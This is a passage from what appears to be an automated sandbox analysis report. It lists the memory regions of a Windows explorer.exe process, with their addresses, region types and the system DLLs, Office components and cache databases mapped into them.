"c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db") Region: id = 692 start_va = 0x31d0000 end_va = 0x31d3fff entry_point = 0x31d0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 693 start_va = 0x31e0000 end_va = 0x3245fff entry_point = 0x31e0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 694 start_va = 0x3250000 end_va = 0x3251fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003250000" filename = "" Region: id = 695 start_va = 0x3260000 end_va = 0x3261fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003260000" filename = "" Region: id = 696 start_va = 0x3270000 end_va = 0x3273fff entry_point = 0x0 region_type = private name = "private_0x0000000003270000" filename = "" Region: id = 697 start_va = 0x3280000 end_va = 0x3283fff entry_point = 0x0 region_type = private name = "private_0x0000000003280000" filename = "" Region: id = 698 start_va = 0x3290000 end_va = 0x3290fff entry_point = 0x0 region_type = private name = "private_0x0000000003290000" filename = "" Region: id = 699 start_va = 0x32a0000 end_va = 0x331ffff entry_point = 0x0 region_type = private name = "private_0x00000000032a0000" filename = "" Region: id = 700 start_va = 0x3320000 end_va = 0x3320fff entry_point = 0x0 region_type = private name = "private_0x0000000003320000" filename = "" Region: id = 701 start_va = 0x3330000 end_va = 0x33affff entry_point = 0x0 region_type = private name = "private_0x0000000003330000" filename = "" Region: id = 702 start_va = 0x33b0000 end_va = 0x33b0fff entry_point = 0x0 region_type = private name = "private_0x00000000033b0000" filename = "" Region: id = 703 start_va = 0x33c0000 end_va = 0x33c0fff entry_point = 0x0 region_type = private name = "private_0x00000000033c0000" filename = "" Region: id = 704 start_va = 0x33d0000 end_va = 0x33d0fff entry_point = 0x0 region_type = private name = "private_0x00000000033d0000" filename = "" Region: id = 705 start_va = 0x33e0000 end_va = 0x33e0fff entry_point = 0x0 region_type = private name = "private_0x00000000033e0000" filename = "" Region: id = 706 start_va = 0x33f0000 end_va = 0x346ffff entry_point = 0x0 region_type = private name = "private_0x00000000033f0000" filename = "" Region: id = 707 start_va = 0x3470000 end_va = 0x3473fff entry_point = 0x0 region_type = private name = "private_0x0000000003470000" filename = "" Region: id = 708 start_va = 0x3480000 end_va = 0x3483fff entry_point = 0x0 region_type = private name = "private_0x0000000003480000" filename = "" Region: id = 709 start_va = 0x3490000 end_va = 0x3490fff entry_point = 0x3490000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 710 start_va = 0x34a0000 end_va = 0x34a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000034a0000" filename = "" Region: id = 711 start_va = 0x34b0000 end_va = 0x34b0fff entry_point = 0x0 region_type = private name = "private_0x00000000034b0000" filename = "" Region: id = 712 start_va = 0x34c0000 end_va = 0x34c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000034c0000" filename = "" Region: id = 713 start_va = 0x34d0000 end_va = 0x34d0fff entry_point = 0x0 region_type = private name = "private_0x00000000034d0000" filename = "" Region: id = 714 start_va = 0x34e0000 end_va = 0x34e0fff entry_point = 0x0 region_type = private name = "private_0x00000000034e0000" filename = "" Region: id = 715 start_va = 0x34f0000 end_va = 0x34f0fff entry_point = 0x0 region_type = private name = "private_0x00000000034f0000" filename = "" Region: id = 716 start_va = 0x3500000 end_va = 0x3500fff entry_point = 0x0 region_type = private name = "private_0x0000000003500000" filename = "" Region: id = 717 start_va = 0x3510000 end_va = 0x3510fff entry_point = 0x0 region_type = private name = "private_0x0000000003510000" filename = "" Region: id = 718 start_va = 0x3520000 end_va = 0x3520fff entry_point = 0x0 region_type = private name = "private_0x0000000003520000" filename = "" Region: id = 719 start_va = 0x3530000 end_va = 0x3530fff entry_point = 0x0 region_type = private name = "private_0x0000000003530000" filename = "" Region: id = 720 start_va = 0x3540000 end_va = 0x3540fff entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 721 start_va = 0x3550000 end_va = 0x3550fff entry_point = 0x0 region_type = private name = "private_0x0000000003550000" filename = "" Region: id = 722 start_va = 0x3560000 end_va = 0x3592fff entry_point = 0x0 region_type = private name = "private_0x0000000003560000" filename = "" Region: id = 723 start_va = 0x35a0000 end_va = 0x35a3fff entry_point = 0x35a0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 724 start_va = 0x35b0000 end_va = 0x362ffff entry_point = 0x0 region_type = private name = "private_0x00000000035b0000" filename = "" Region: id = 725 start_va = 0x3630000 end_va = 0x3f5ffff entry_point = 0x3630000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 726 start_va = 0x3f60000 end_va = 0x3f60fff entry_point = 0x3f60000 region_type = mapped_file name = "{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{40FC8D7D-05ED-4FEB-B03B-6C100659EF5C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{40fc8d7d-05ed-4feb-b03b-6c100659ef5c}.2.ver0x0000000000000001.db") Region: id = 727 start_va = 0x3f70000 end_va = 0x3f73fff entry_point = 0x3f70000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 728 start_va = 0x3f80000 end_va = 0x3f80fff entry_point = 0x3f80000 region_type = mapped_file name = "{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{3978EA0A-1C7E-4449-8AE1-E1265F039002}.2.ver0x0000000000000003.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{3978ea0a-1c7e-4449-8ae1-e1265f039002}.2.ver0x0000000000000003.db") Region: id = 729 start_va = 0x3f90000 end_va = 0x3f93fff entry_point = 0x3f90000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 730 start_va = 0x3fa0000 end_va = 0x401ffff entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 731 start_va = 0x4020000 end_va = 0x4067fff entry_point = 0x0 region_type = private name = "private_0x0000000004020000" filename = "" Region: id = 732 start_va = 0x4070000 end_va = 0x4070fff entry_point = 0x4070000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 733 start_va = 0x4080000 end_va = 0x4080fff entry_point = 0x4080000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 734 start_va = 0x4090000 end_va = 0x4090fff entry_point = 0x4090000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 735 start_va = 0x40a0000 end_va = 0x40a0fff entry_point = 0x40a0000 region_type = mapped_file name = "{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{4E36EA69-73D1-4458-9D16-50F8E31A69A0}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{4e36ea69-73d1-4458-9d16-50f8e31a69a0}.2.ver0x0000000000000001.db") Region: id = 736 start_va = 0x40b0000 end_va = 0x40b1fff entry_point = 0x40b0000 region_type = mapped_file name = "msutb.dll.mui" filename = "\\Windows\\System32\\en-US\\msutb.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\msutb.dll.mui") Region: id = 737 start_va = 0x40c0000 end_va = 0x40c0fff entry_point = 0x0 region_type = private name = "private_0x00000000040c0000" filename = "" Region: id = 738 start_va = 0x40d0000 end_va = 0x40d0fff entry_point = 0x0 region_type = private name = "private_0x00000000040d0000" filename = "" Region: id = 739 start_va = 0x40e0000 end_va = 0x40e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000040e0000" filename = "" Region: id = 740 start_va = 0x40f0000 end_va = 0x40f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000040f0000" filename = "" Region: id = 741 start_va = 0x4100000 end_va = 0x417ffff entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 742 start_va = 0x4180000 end_va = 0x4180fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004180000" filename = "" Region: id = 743 start_va = 0x4190000 end_va = 0x4190fff entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 744 start_va = 0x41a0000 end_va = 0x41a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041a0000" filename = "" Region: id = 745 start_va = 0x41b0000 end_va = 0x41b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000041b0000" filename = "" Region: id = 746 start_va = 0x41c0000 end_va = 0x423ffff entry_point = 0x0 region_type = private name = "private_0x00000000041c0000" filename = "" Region: id = 747 start_va = 0x4240000 end_va = 0x428ffff entry_point = 0x0 region_type = private name = "private_0x0000000004240000" filename = "" Region: id = 748 start_va = 0x4290000 end_va = 0x4290fff entry_point = 0x4290000 region_type = mapped_file name = "thumbcache_32.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db") Region: id = 749 start_va = 0x42b0000 end_va = 0x42b0fff entry_point = 0x42b0000 region_type = mapped_file name = "thumbcache_1024.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db") Region: id = 750 start_va = 0x42c0000 end_va = 0x42c0fff entry_point = 0x42c0000 region_type = mapped_file name = "thumbcache_sr.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db") Region: id = 751 start_va = 0x42d0000 end_va = 0x42d0fff entry_point = 0x42d0000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 752 start_va = 0x42e0000 end_va = 0x435ffff entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 753 start_va = 0x4360000 end_va = 0x4360fff entry_point = 0x4360000 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 754 start_va = 0x4370000 end_va = 0x4370fff entry_point = 0x4370000 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 755 start_va = 0x4380000 end_va = 0x43fffff entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 756 start_va = 0x4400000 end_va = 0x4401fff entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 757 start_va = 0x4430000 end_va = 0x44affff entry_point = 0x0 region_type = private name = "private_0x0000000004430000" filename = "" Region: id = 758 start_va = 0x44b0000 end_va = 0x452ffff entry_point = 0x0 region_type = private name = "private_0x00000000044b0000" filename = "" Region: id = 759 start_va = 0x4530000 end_va = 0x4530fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004530000" filename = "" Region: id = 760 start_va = 0x4550000 end_va = 0x45cffff entry_point = 0x0 region_type = private name = "private_0x0000000004550000" filename = "" Region: id = 761 start_va = 0x45e0000 end_va = 0x465ffff entry_point = 0x0 region_type = private name = "private_0x00000000045e0000" filename = "" Region: id = 762 start_va = 0x46f0000 end_va = 0x476ffff entry_point = 0x0 region_type = private name = "private_0x00000000046f0000" filename = "" Region: id = 763 start_va = 0x4770000 end_va = 0x496ffff entry_point = 0x0 region_type = private name = "private_0x0000000004770000" filename = "" Region: id = 764 start_va = 0x4a90000 end_va = 0x4b0ffff entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 765 start_va = 0x4b10000 end_va = 0x4c0ffff entry_point = 0x4b10000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 766 start_va = 0x4c10000 end_va = 0x4d0ffff entry_point = 0x4c10000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 767 start_va = 0x4d30000 end_va = 0x4daffff entry_point = 0x0 region_type = private name = "private_0x0000000004d30000" filename = "" Region: id = 768 start_va = 0x4e00000 end_va = 0x4e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 769 start_va = 0x50f0000 end_va = 0x516ffff entry_point = 0x0 region_type = private name = "private_0x00000000050f0000" filename = "" Region: id = 770 start_va = 0x5210000 end_va = 0x530ffff entry_point = 0x5210000 region_type = mapped_file name = "thumbcache_96.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db") Region: id = 771 start_va = 0x5310000 end_va = 0x540ffff entry_point = 0x5310000 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 772 start_va = 0x5410000 end_va = 0x6764fff entry_point = 0x5410000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 773 start_va = 0x6770000 end_va = 0x6b72fff entry_point = 0x0 region_type = private name = "private_0x0000000006770000" filename = "" Region: id = 774 start_va = 0x73730000 end_va = 0x73735fff entry_point = 0x73730000 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 775 start_va = 0x73f50000 end_va = 0x73f7efff entry_point = 0x73f50000 region_type = mapped_file name = "atl90.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895\\ATL90.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895\\atl90.dll") Region: id = 776 start_va = 0x73f80000 end_va = 0x74022fff entry_point = 0x73f80000 region_type = mapped_file name = "msvcr90.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\\msvcr90.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\\msvcr90.dll") Region: id = 777 start_va = 0x752b0000 end_va = 0x75382fff entry_point = 0x752b0000 region_type = mapped_file name = "msvcp90.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\\msvcp90.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251\\msvcp90.dll") Region: id = 778 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 779 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 780 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 781 start_va = 0x77830000 end_va = 0x77836fff entry_point = 0x77830000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 782 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 783 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 784 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 785 start_va = 0xffff0000 end_va = 0x1002affff entry_point = 0xffff0000 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 786 start_va = 0x7fef5d40000 end_va = 0x7fef6055fff entry_point = 0x7fef5d40000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 787 start_va = 0x7fef6320000 end_va = 0x7fef64bbfff entry_point = 0x7fef6320000 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 788 start_va = 0x7fef7ff0000 end_va = 0x7fef803efff entry_point = 0x7fef7ff0000 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 789 start_va = 0x7fef8080000 end_va = 0x7fef80bafff entry_point = 0x7fef8080000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 790 start_va = 0x7fef8150000 end_va = 0x7fef8258fff entry_point = 0x7fef8150000 region_type = mapped_file name = "cryptui.dll" filename = "\\Windows\\System32\\cryptui.dll" (normalized: "c:\\windows\\system32\\cryptui.dll") Region: id = 791 start_va = 0x7fef82b0000 end_va = 0x7fef8489fff entry_point = 0x7fef82b0000 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 792 start_va = 0x7fef8490000 end_va = 0x7fef8732fff entry_point = 0x7fef8490000 region_type = mapped_file name = "gameux.dll" filename = "\\Windows\\System32\\gameux.dll" (normalized: "c:\\windows\\system32\\gameux.dll") Region: id = 793 start_va = 0x7fef8740000 end_va = 0x7fef87bbfff entry_point = 0x7fef8740000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 794 start_va = 0x7fef87e0000 end_va = 0x7fef8ab1fff entry_point = 0x7fef87e0000 region_type = mapped_file name = "themeui.dll" filename = "\\Windows\\System32\\themeui.dll" (normalized: "c:\\windows\\system32\\themeui.dll") Region: id = 795 start_va = 0x7fef8ac0000 end_va = 0x7fef8badfff entry_point = 0x7fef8ac0000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 796 start_va = 0x7fef8bb0000 end_va = 0x7fef8becfff entry_point = 0x7fef8bb0000 region_type = mapped_file name = "msutb.dll" filename = "\\Windows\\System32\\msutb.dll" (normalized: "c:\\windows\\system32\\msutb.dll") Region: id = 797 start_va = 0x7fef90e0000 end_va = 0x7fef90eefff entry_point = 0x7fef90e0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 798 start_va = 0x7fef90f0000 end_va = 0x7fef91b5fff entry_point = 0x7fef90f0000 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 799 start_va = 0x7fef91c0000 end_va = 0x7fef9a23fff entry_point = 0x7fef91c0000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\PROGRA~1\\MICROS~1\\Office14\\1033\\GrooveIntlResource.dll" (normalized: "c:\\progra~1\\micros~1\\office14\\1033\\grooveintlresource.dll") Region: id = 800 start_va = 0x7fef9a30000 end_va = 0x7fef9e49fff entry_point = 0x7fef9a30000 region_type = mapped_file name = "office.odf" filename = "\\PROGRA~1\\COMMON~1\\MICROS~1\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\progra~1\\common~1\\micros~1\\office14\\cultures\\office.odf") Region: id = 801 start_va = 0x7fef9e50000 end_va = 0x7fefa4c0fff entry_point = 0x7fef9e50000 region_type = mapped_file name = "grooveex.dll" filename = "\\PROGRA~1\\MICROS~1\\Office14\\GROOVEEX.DLL" (normalized: "c:\\progra~1\\micros~1\\office14\\grooveex.dll") Region: id = 802 start_va = 0x7fefa4d0000 end_va = 0x7fefa526fff entry_point = 0x7fefa4d0000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 803 start_va = 0x7fefa530000 end_va = 0x7fefa6f9fff entry_point = 0x7fefa530000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 804 start_va = 0x7fefaac0000 end_va = 0x7fefaafafff entry_point = 0x7fefaac0000 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 805 start_va = 0x7fefab00000 end_va = 0x7fefab7efff entry_point = 0x7fefab00000 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 806 start_va = 0x7fefb040000 end_va = 0x7fefb04afff entry_point = 0x7fefb040000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 807 start_va = 0x7fefb070000 end_va = 0x7fefb088fff entry_point = 0x7fefb070000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 808 start_va = 0x7fefb430000 end_va = 0x7fefb438fff entry_point = 0x7fefb430000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 809 start_va = 0x7fefb440000 end_va = 0x7fefb46bfff entry_point = 0x7fefb440000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 810 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 811 start_va = 0x7fefb6d0000 end_va = 0x7fefb6d8fff entry_point = 0x7fefb6d0000 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 812 start_va = 0x7fefb6e0000 end_va = 0x7fefb6f7fff entry_point = 0x7fefb6e0000 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 813 start_va = 0x7fefb7c0000 end_va = 0x7fefb7d3fff entry_point = 0x7fefb7c0000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 814 start_va = 0x7fefb7e0000 end_va = 0x7fefb7f4fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 815 start_va = 0x7fefb800000 end_va = 0x7fefb80bfff entry_point = 0x7fefb800000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 816 start_va = 0x7fefb970000 end_va = 0x7fefba99fff entry_point = 0x7fefb970000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 817 start_va = 0x7fefbaa0000 end_va = 0x7fefbad4fff entry_point = 0x7fefbaa0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 818 start_va = 0x7fefbae0000 end_va = 0x7fefbaf7fff entry_point = 0x7fefbae0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 819 start_va = 0x7fefbb00000 end_va = 0x7fefbb4afff entry_point = 0x7fefbb00000 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 820 start_va = 0x7fefbb50000 end_va = 0x7fefbb59fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 821 start_va = 0x7fefbb60000 end_va = 0x7fefbb9afff entry_point = 0x7fefbb60000 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 822 start_va = 0x7fefbba0000 end_va = 0x7fefbbe2fff entry_point = 0x7fefbba0000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 823 start_va = 0x7fefbbf0000 end_va = 0x7fefbce1fff entry_point = 0x7fefbbf0000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 824 start_va = 0x7fefbcf0000 end_va = 0x7fefbf04fff entry_point = 0x7fefbcf0000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: 